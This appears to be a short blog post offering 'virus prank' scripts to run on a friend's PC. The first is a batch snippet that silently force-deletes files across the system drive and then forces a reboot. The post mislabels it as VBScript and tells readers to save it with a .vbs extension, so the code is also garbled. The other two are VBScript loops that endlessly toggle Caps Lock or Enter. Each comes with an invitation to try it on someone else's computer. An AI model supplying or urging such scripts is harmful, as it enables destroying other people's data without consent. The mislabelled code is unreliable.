In the previous post, I have shown you a batch file trick, kind of virus prank that will hang the PC by opening a file again and again. This post will show the same virus tricks using VBScript. 

1) How to corrupt windows by deleting all the windows files silently

@echo off
del %systemdrive%*.*/f/s/q
shutdown -r -f -t 00

Save above code “any_name.vbs” and try on your friend’s PC.

 2) Toggle Caps Lock button simultaneously

Set ws =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
ws.sendkeys "{CAPSLOCK}"
loop

Save above code “virus.vbs” and try on your friend’s PC.

 3) Toggle Enter button simultaneously

Set ws = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
ws.sendkeys "~(enter)"
loop
 Save above code “any_name.vbs” and try on your friend’s PC.